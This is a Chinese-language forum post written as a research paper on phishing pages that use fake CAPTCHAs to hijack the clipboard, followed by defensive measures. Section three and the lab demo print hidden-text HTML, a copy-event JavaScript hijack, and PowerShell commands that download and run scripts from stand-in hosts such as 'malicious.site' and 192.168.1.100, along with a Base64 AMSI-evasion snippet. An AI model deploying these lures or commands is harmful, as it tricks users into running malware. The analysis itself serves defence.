发帖
雷达卡
摘要：
近年来，网络钓鱼攻击不断演变，攻击者利用用户日常操作习惯设计出更具迷惑性的手法。本文深入探讨一种新型攻击方式：通过伪造图形验证码（CAPTCHA）诱导用户执行复制操作，从而将恶意PowerShell脚本悄悄植入其剪贴板。当用户将内容粘贴至命令行界面时，便会自动触发恶意软件的下载与执行。该方法摒弃了传统依赖链接点击或附件打开的传播模式，转而借助用户对验证码流程的信任以及频繁使用的“复制-粘贴”行为，极大提升了攻击的成功率和隐蔽性。文章详细解析了此类攻击的技术原理、典型攻击路径及检测难点，并结合实际代码示例说明其运行机制。同时，提出多项针对性防御措施，涵盖终端用户行为规范、剪贴板监控、浏览器安全插件及系统级防护策略。研究指出，此类攻击对当前终端安全体系构成显著威胁，亟需从人机交互安全与运行时防护两个层面协同应对。
关键词：网络钓鱼；CAPTCHA伪造；剪贴板劫持；PowerShell脚本；人机交互安全；终端防护
一、引言
CAPTCHA（Completely Automated Public Turing test to tell Computers and Humans Apart）自2003年提出以来，广泛应用于注册、登录、评论等场景，用于区分人类与自动化程序。由于其普遍使用及用户对其“安全性”的默认信任，CAPTCHA逐渐成为社会工程攻击的新媒介。近期，安全研究人员发现一类新型钓鱼活动：攻击者不再依赖诱导用户点击恶意链接或下载文件，而是通过伪造的验证码界面，诱使用户复制内容，借此将恶意PowerShell脚本写入剪贴板，实现静默植入。
这种攻击的核心在于滥用用户的常规操作——“复制验证码”。整个过程在用户无感知的情况下完成初始载荷投递，极具欺骗性。相比传统钓鱼手段，该方式具备三大特点：一是高度伪装，攻击页面常模仿Google、Microsoft、Cloudflare等主流平台的验证流程；二是攻击链条极短，仅需一次复制即可完成注入；三是规避能力强，因不涉及可执行文件传输或可疑跳转，传统基于签名或行为分析的安全工具难以及时识别。
尤为关键的是，攻击成功并非依赖高深技术，而是精准利用了用户的心理预期与操作惯性。本文系统剖析此类基于伪造CAPTCHA的剪贴板劫持攻击（以下简称“CAPTCHA剪贴板劫持攻击”），从技术原理、实现方式、传播路径、检测挑战到防御对策进行全面研究。全文结构安排如下：第二部分介绍背景及相关工作；第三部分详述攻击流程与关键技术；第四部分通过代码实例还原攻击全过程；第五部分探讨现有防护机制的不足；第六部分提出多层次防御建议；第七部分总结并展望未来方向。
二、背景与相关工作
（一）CAPTCHA的发展及其被滥用趋势
CAPTCHA最初用于防止机器人批量注册或刷票，形式包括字符识别、图像选择、滑动验证等。随着深度学习的发展，传统文本型验证码已可被OCR技术破解，促使行业转向更复杂的交互式方案（如reCAPTCHA v3）。然而，正因其被广泛接受且被视为“安全环节”，CAPTCHA也成为社会工程的理想掩护。
已有案例显示，攻击者曾伪造“身份验证”页面诱导用户输入账号密码或启用宏功能，但尚未有系统性报道将其作为剪贴板劫持的入口。本文所述攻击正是在此背景下演化而来，利用用户对验证流程的盲信，实现更高阶的欺骗。
（二）剪贴板劫持的技术演进
剪贴板劫持并非新兴技术。早在2010年代，加密货币木马便通过监听剪贴板中的钱包地址实施替换攻击。近年来，攻击者进一步将其用作恶意载荷传递通道。例如，某些恶意网站在访问时自动将Base64编码的脚本写入剪贴板。
然而，现代浏览器通常限制JavaScript直接写入剪贴板，需用户主动授权。而本文讨论的攻击则采用反向策略：不主动覆盖剪贴板，而是诱导用户自行复制预设内容，从而绕过权限控制机制，提升成功率。
（三）PowerShell作为常见攻击载体
PowerShell因其强大的系统管理能力、内置于Windows系统、支持远程脚本执行等特点，长期被红队和攻击者所利用。尽管微软引入AMSI（Antimalware Scan Interface）和脚本日志记录等防御机制，但通过混淆、编码、分段加载等方式仍可有效规避检测。
尤其当恶意脚本以纯文本形式存在于剪贴板中时，缺乏上下文环境的静态扫描工具难以判断其意图，使得此类攻击更具穿透力。
综上所述，CAPTCHA剪贴板劫持攻击融合了社会工程学、人机交互漏洞与脚本滥用技术，标志着钓鱼攻击正向“行为诱导型”持续演进。
三、攻击机制与技术实现
（一）攻击流程概述
完整的攻击链可分为五个阶段：
- 诱骗阶段：用户被引导至伪造的登录或验证页面，页面展示一个看似正常的CAPTCHA提示（如“请输入下方字符”），并附带一组字母数字组合。
请验证您不是机器人
上述结构利用HTML与CSS实现视觉欺骗：用户可见的“X9K2M8”为可复制区域的一部分，而实际被选中并复制的内容包含一段隐藏的PowerShell命令。由于恶意代码设置为透明且字体大小为0，其在页面上不可见，但会随复制操作进入剪贴板。
攻击流程解析
复制诱导阶段：页面提示用户“复制验证码以继续”，或通过UI设计（如高亮边框、“????”图标）暗示文本可选中复制，引导用户执行复制动作。
剪贴板注入阶段：当用户选中文本并使用Ctrl+C或右键菜单进行复制时，真正写入剪贴板的并非所见字符，而是预埋的恶意脚本。该过程可通过CSS层叠覆盖实现，也可通过JavaScript事件监听动态替换内容。
粘贴执行阶段：若用户将剪贴板内容粘贴至PowerShell、CMD或其他命令行终端并回车运行，则恶意指令立即触发执行。
载荷投递阶段：执行后的脚本从远程服务器拉取第二阶段载荷（例如Cobalt Strike Beacon、远控木马RAT等），完成持久化驻留或敏感数据窃取。
关键技术手段
HTML/CSS 视觉欺骗机制
攻击者常采用<div>或<span>元素构建重叠布局，使显示内容与实际复制内容分离。示例代码如下：
<div style="position: relative; user-select: text;">
<span style="color: transparent; font-size: 0;">
iex (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')
</span>
<span style="position: absolute; top: 0; left: 0; color: black; font-size: 16px;">
A7B9C2
</span>
</div>
在此结构中，用户视觉感知的是“A7B9C2”，但由于两层文本位置完全重合，选中操作会同时捕获透明层中的恶意命令，导致复制内容被无声替换。
JavaScript 动态剪贴板劫持
部分攻击页面通过监听copy事件，在复制瞬间修改剪贴板内容：
document.addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.site/stage2.ps1\')"'
);
e.preventDefault();
});
该方式无需依赖隐藏文本，直接干预系统剪贴板行为。然而，现代浏览器（如Chrome 66及以上版本）对此类操作施加限制，仅允许处于焦点状态的页面注册copy事件监听器。此外，部分安全扩展程序也会拦截此类异常行为。
PowerShell 载荷构造策略
为提升隐蔽性，攻击者通常采用极简命令形式，降低引起怀疑的可能性，例如：
iex(iwr http://x.x.x.x/s.txt)
其中s.txt文件实际存储经过编码的PowerShell脚本，通过Invoke-WebRequest（iwr）下载，并由Invoke-Expression（iex）执行。为进一步绕过AMSI（Antimalware Scan Interface）检测，常用技术包括字符串拼接、Base64编码和反射式内存加载：
$code = [System.Convert]::FromBase64String("..."); IEX ([System.Text.Encoding]::UTF8.GetString($code))
此类载荷在剪贴板中表现为普通文本行，对非专业用户而言几乎无法识别其潜在风险。
攻击隐蔽性特征分析
- 无网络请求异常：初始页面加载过程中不产生可疑外联，域名解析正常，流量行为符合常规网页访问模式。
- 无文件落地痕迹：第一阶段载荷全程运行于内存中，不向磁盘写入任何可执行文件，规避基于文件扫描的防御机制。
- 依赖用户主动操作：复制行为由用户自行发起，非自动触发脚本，因此可绕过多数行为监控系统的判定逻辑。
- 上下文合理性高：在“身份验证”“人机识别”等常见场景下要求复制验证码，符合用户心理预期，增强欺骗成功率。
以下是用于延续操作的代码片段：
当用户访问该页面并复制显示的“K3P8Q1”时，实际被写入剪贴板的内容为以下PowerShell命令：
powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/mal.ps1')"
若用户随后在PowerShell环境中粘贴并执行该命令，系统将从指定地址下载mal.ps1脚本并在内存中静默运行。我们通过本地搭建的HTTP服务提供该脚本，其内容如下：
# mal.ps1
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show("Payload executed!", "Alert", "OK", "Warning")
# 实际攻击场景中，此处通常替换为与C2服务器通信、持久化驻留等恶意行为
实验验证表明，在Windows 10操作系统搭载PowerShell 5.1的环境下，整个攻击流程可成功复现。即使启用了Windows Defender的实时防护功能，由于脚本未以文件形式落地且AMSI（Antimalware Scan Interface）未能有效触发（具体取决于编码和混淆方式），此类攻击仍有可能绕过安全检测。
五、当前防御机制存在的短板
1. 终端安全防护能力不足
主流EDR/XDR解决方案主要依赖对进程创建、网络连接及文件写入行为的监控。然而，CAPTCHA剪贴板劫持攻击在用户粘贴前不产生任何可疑活动；一旦粘贴后采用内存加载技术执行代码，则可规避基于文件扫描的检测机制。此外，若PowerShell指令经过混淆处理，AMSI可能无法正确还原其真实语义，导致分析失效。
2. 浏览器安全策略局限性
尽管现代浏览器已对execCommand('copy')和clipboard.writeText()等API施加权限限制，但对用户手动触发的复制操作（如Ctrl+C）并无干预机制。利用CSS将恶意代码隐藏于透明或零字号文本中的欺骗手段属于页面渲染层面的问题，浏览器难以判断所复制内容的真实性。同时，Content Security Policy（CSP）对此类内嵌于HTML结构中的攻击无效，因其不涉及外部资源加载。
3. 用户安全意识易被突破
虽然常规安全培训普遍强调“避免随意粘贴未知命令”，但在高强度工作节奏下，用户往往忽略上下文风险。特别是当此类验证码出现在看似正规的操作流程中（例如企业单点登录界面），用户的警惕性会显著降低，从而增加误操作概率。
4. 缺乏剪贴板内容语义识别机制
目前操作系统原生功能中缺少对剪贴板数据的深度语义分析能力。Windows自带的剪贴板历史记录（Win+V）仅支持查看过往内容，不具备恶意代码告警功能。而多数第三方剪贴板管理工具聚焦于提升使用效率，而非增强安全性。
六、可行的防御改进方案
（一）终端用户应采取的措施
- 粘贴前预检：在将内容粘贴至命令行之前，建议先粘贴到记事本或其他纯文本编辑器中，核对实际内容是否与预期一致。
- 限制脚本执行策略：通过组策略配置，禁用RemoteSigned或Unrestricted等宽松的PowerShell执行策略，强制要求所有脚本必须具备有效数字签名。
- 启用脚本执行日志记录：开启Windows事件日志中的PowerShell Script Block Logging功能，便于后续进行行为审计与溯源分析。
（二）浏览器扩展辅助防护
可开发轻量级浏览器安全插件，实现以下核心功能：
- 自动检测页面中是否存在可见文本与透明/极小字号文本重叠的情况；
- 在用户执行复制动作时弹出提示：“检测到潜在隐藏内容，是否确认复制？”；
- 对剪贴板内容进行正则匹配，若发现iex、iwr、DownloadString等高危关键字组合，立即发出安全警告。
（三）操作系统与终端防护强化
- 剪贴板内容智能分类：集成轻量级机器学习模型，实时分析剪贴板文本类型，识别疑似PowerShell或Shell命令等高风险内容，并及时告警。
- 命令行粘贴确认机制：在PowerShell或CMD中引入类似Linux safe-paste的保护机制，在粘贴包含命令结构的内容时提示用户确认，防止误执行。
- 加强AMSI与语言模式管控：启用Constrained Language Mode，限制脚本对关键.NET类库的调用权限，阻止WebClient、HttpClient等高危对象的滥用。
（四）企业级安全策略优化
- 部署网络层数据防泄漏（DLP）系统，监测终端主动发起的异常PowerShell网络请求；
- 在员工设备上实施应用程序白名单策略（如使用Windows AppLocker），禁止未经授权的脚本解释器运行；
- 定期组织针对性的社会工程学演练，模拟CAPTCHA剪贴板劫持攻击场景，提升员工识别与应对能力。
七、总结
剪贴板劫持结合社会工程学的攻击方式，利用了人机交互过程中的信任盲区和技术防护的空白地带。它无需漏洞即可达成远程代码执行效果，具有较高的隐蔽性和成功率。现有安全体系在面对此类“合法工具+欺骗手法”的组合攻击时表现出明显滞后。未来需从用户行为引导、终端控制机制、操作系统底层支持以及企业策略协同等多个维度综合施策，构建更全面的防御闭环。
随着人机交互界面的日益复杂，针对“可信交互元素”的滥用正逐渐成为网络安全领域的新前沿，亟需持续关注与深入研究。本文系统探讨了一种基于伪造CAPTCHA的剪贴板劫持式钓鱼攻击。该攻击利用前端欺骗技术，将恶意PowerShell脚本伪装成常规验证码内容，诱导用户在无感知状态下执行复制-粘贴操作，从而完成初始访问。
此类攻击不依赖复杂漏洞，而是巧妙结合社会工程学原理与现有系统权限机制，有效规避传统安全检测手段，展现出技术滥用与心理操控的高度融合。
研究发现，攻击成功的关键在于三个核心要素：一是用户对CAPTCHA这类常见验证机制的天然信任；二是复制行为本身的无意识性和高频性；三是命令行环境通常具备较高的系统权限，一旦脚本被执行，极易造成严重后果。
为此，防御策略应构建多层次协同机制：在用户层面加强安全行为教育，提升对异常交互的警觉性；在终端层面强化剪贴板数据监控及脚本运行时的行为分析；在网络层面部署细粒度流量检测系统，识别可疑指令外传或C2通信。
未来的研究方向可包括：开发自动化识别前端欺骗页面的技术（例如基于DOM树结构的异常检测模型）、推动操作系统级剪贴板安全管理模块的集成，以及探索命令行环境中具备上下文感知能力的执行控制机制，从根本上遏制此类隐蔽攻击的扩散。
京公网安备 11010802022788号
